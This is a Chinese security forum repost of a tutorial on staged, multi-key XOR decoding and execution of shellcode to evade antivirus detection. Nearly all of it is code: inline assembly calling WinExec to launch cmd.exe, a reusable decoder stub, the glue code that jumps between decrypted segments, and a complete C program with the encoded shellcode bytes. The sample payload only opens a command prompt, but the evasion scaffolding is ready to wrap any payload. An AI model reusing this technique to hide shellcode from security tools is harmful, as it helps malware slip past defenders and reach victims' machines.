安全矩阵

 找回密码
 立即注册
搜索
查看: 2240|回复: 0

关于分段免杀执行的思考

[复制链接]

7

主题

23

帖子

111

积分

注册会员

Rank: 2

积分
111
发表于 2020-3-13 20:32:32 | 显示全部楼层 |阅读模式
FREEBUF媒体原创文章 https://www.freebuf.com/articles/system/228579.html
我们在写shellcode时候,做分段免杀执行时,如何做到边解码然后执行再调用解码,解码后再执行?就是分段执行而且解密的密钥是不一样的,对于这个问题,我们应该想想这三个问题。

  1. 1、如何写出通用的解码子?

  2. 2、如何才能调到解码子的解码部分首地址?

  3. 3、如何才能跳到刚解码的shellcode首地址?
复制代码

这三个问题想明白了,就能实现了

下面我们利用xor用不同秘钥加密弹出cmd程序来说明

0×00写出我们的程序
  1. #include "stdio.h"
  2. #include "windows.h"
  3. #include <string.h>
  4. #include "stdlib.h"
  5. int main(int argc, char* argv[])
  6. {
  7.        char *str="cmd.exe";
  8.   __asm{
  9.               mov eax,str
  10.               push 5                         ;5=SW_SHOW
  11.               push eax
  12.               mov eax,0x7731dab0
  13.               //0x7731dab0
  14.               //call dword ptr [WinExec]
  15.               call eax

  16.        }
  17.        return 0;
  18. }
复制代码
0x7731dab0是winexec函数地址
0×01 转成shellcode形式
  1. #include "stdio.h"
  2. #include "windows.h"
  3. #include <string.h>
  4. #include "stdlib.h"
  5. char shellcode[]="\x8B\x45\xFc\x6A\x05\x50\xB8\xB0\xDA\x50\x75\xFF\xD0";
  6. int main(int argc, char* argv[])
  7. {
  8.         char *str="cmd.exe";
  9.         __asm{
  10.                 lea eax,shellcode
  11.                 call eax
  12.         }
  13.         return 0;
  14. }
复制代码


运行看一下能不能执行
0×02 xor加密

我们用三个秘钥对上面的shellcode加密,值分别为0×51,0×47,0×81,根据秘钥个数对shellcode分段,分成三段,0×51对对\x8B\x45\xFc加密,0×47对\x6A\x05\x50\xB8\xB0\xDA\x50\x75加密,0×81对\xFF\xD0加密(一条语句的机器码不能分开),在每段后面加上\x90,加个\x90是控制解密的个数,这样我们可以想解密到哪里就解密到哪里,加密后的shellcode为

\xda\x14\xad\xc1

\x2d\x42\x17\xff\xf7\x9d\x17\x32\xd7

\x7e\x51\x11

0×03 写出通用的解码子
  1. decode:                mov bl,byte ptr ds:[ecx+edx]
  2.                 xor bl,bh
  3.                 mov byte ptr ds:[ecx+edx],bl
  4.                 inc edx
  5.                 cmp bl,90h
  6.                 je execute
  7.                 jmp decode

  8. execute:        
  9.                 add ecx,edx                //ecx加上解码的数目
  10.                 ret
复制代码

利用bh存储秘钥,通过解密出来的bl和90h比较来,如果解密出来是90h,停止解密,跳到execte出执行,最后返回,这里必须要用ret,因为这段程序要放到我们加密的shellcode前面,如果没有ret,程序将去执行shellcode,而后面还有shellocde将不会解密,我们要分段执行,所以解密之后我们还要回到原来调用解密的地方,便于后面的操作。

找出下面这段程序机器码放在第一段shellcode之前

  1. __asm{
  2.                 xor edx,edx
  3.                 mov bh,51h                //bh存储key        

  4. decode:        mov bl,byte ptr ds:[ecx+edx]
  5.                 xor bl,bh
  6.                 mov byte ptr ds:[ecx+edx],bl
  7.                 inc edx
  8.                 cmp bl,90h
  9.                 je execute
  10.                 jmp decode

  11. execute:        
  12.                 add ecx,edx                //ecx加上解码的数目
  13.                 ret

  14.         }
复制代码
0×04 逻辑处理语句

这里的逻辑处理语句是放在每段shellcode之间,做到存储和取解码子的解码部分首地址,跳到刚解码的shellcode首地址的功能,并且能够修改秘钥值。

  1. __asm{
  2.                 push edx        //将decode首地址也入栈
  3.                 add ecx,19        //这个是让ecx的值等于下一个shellcdoe首地址
  4.                
  5.                 push ecx        //下一个shellcode首地址压入栈
  6.                 push eax        //将eax压入栈中(因为我们执行的代码中利用eax进行,eax值不能变)
  7.                 mov eax,edx        //将decode首地址传给eax
  8.                 xor edx,edx
  9.                 mov bh,47h        //第二段key,各段shellcode的key不同,要修改
  10.                 call eax        
  11.                 pop eax
  12.                 pop ebx                //shellcode首地址
  13.                 pop edx                //decode首地址
  14.                 jmp ebx                //到shellcode出执行
  15.         }
复制代码

每次执行完解码后的shellcode都会来执行这段语句,edx存放解码子的首地址,call eax会去解码,jmp ebx会去执行解码后的shellcode。从上面的代码解决了如何才能调到解码子的解码部分首地址的问题,通过一开始找到解码的首地址,压入栈,然后每次解码完,都弹出来给一个寄存器,执行完解码就去执行shellcode,执行完shellcode根据弹出来的解码首地址,再去解码。

找出这段程序机器码放在每段shellcode之间

0×05 定位shellcode首地址

分段解密执行,我们知道各段shellcode的首地址是不同的,怎么才能够找到能各段的shellcode首地址呢?

解密前,我们把下一个要解密的shellcode首地址压入栈,在执行call eax时,ecx的值是下一个要执行shellcode的首地址,解码子里有add ecx,edx,所以解码完ecx是下一个要执行的shellcode的尾地址再加1,再执行add ecx,19,19是逻辑处理那段的机器码数目,之后ecx就是下下个要执行的shllcode首地址,再通过出栈压栈,我们都能找到要执行shllcode首地址

0×06 最终程序
  1. #include "stdio.h"
  2. #include "windows.h"
  3. #include <string.h>
  4. #include "stdlib.h"

  5. unsigned char encode[]="\x33\xD2\xB7\x51\x3E\x8A\x1C\x11\x32\xDF\x3E\x88\x1C\x11\x42\x80\xFB\x90\x74\x02\xEB\xEE\x03\xCA\xC3"
  6. "\xda\x14\xad\xc1"
  7. "\x52\x83\xC1\x13\x51\x50\x8B\xC2\x33\xD2\xB7\x47\xFF\xD0\x58\x5B\x5A\xFF\xE3"
  8. "\x2d\x42\x17\xff\xf7\x9d\x76\x30\xd7"
  9. "\x52\x83\xC1\x13\x51\x50\x8B\xC2\x33\xD2\xB7\x81\xFF\xD0\x58\x5B\x5A\xFF\xE3"
  10. "\x7e\x51\x11";

  11. int main(int argc, char* argv[])
  12. {
  13.         char *str="cmd.exe";
  14.         
  15.         __asm{
  16.                 lea ecx,encode                //获取encode+shellcode编码的地址
  17.                 mov edx,ecx
  18.                 add ecx,25                        //ecx存储第一个shellcode首地址,从xor edx,edx到ret,这段的机器码
  19.                 push ecx                        //第一个shellcode压入站首地址                        
  20.                 sub ecx,21                        //解码decode首地址,21第一个shellcode到解码的机器码数
  21.                 push ecx                        //压入栈
  22.                 add ecx,21
  23.                 call edx                        //解码
  24.                 pop edx                                //解码首地址                        
  25.                 pop ebx                                //第一个shellccode首地址
  26.                 jmp ebx
  27.         }

  28.         return 0;

  29. }
复制代码
结果:

程序在开始时候,就把第一段shellcode首地址和解码子首地址压入栈,接着调用解码程序去解码第一段shellcode,解码完返回,接着弹出第一段shellcode首地址和解码子首地址,利用jmp去执行解码后的第一段shellcode,执行完,去执行0×04内容,根据弹出来的解码子首地址,再去解码第二段shellcode,然后执行,依次类推
0×07 总结

1、解码执行第二段代码的密钥在第一段里面

2、利用好ret,解码后返回

3、多利用push,pop,比如shllcode首地址和解码子首地址的入栈、出栈




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 20:13 , Processed in 0.013866 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表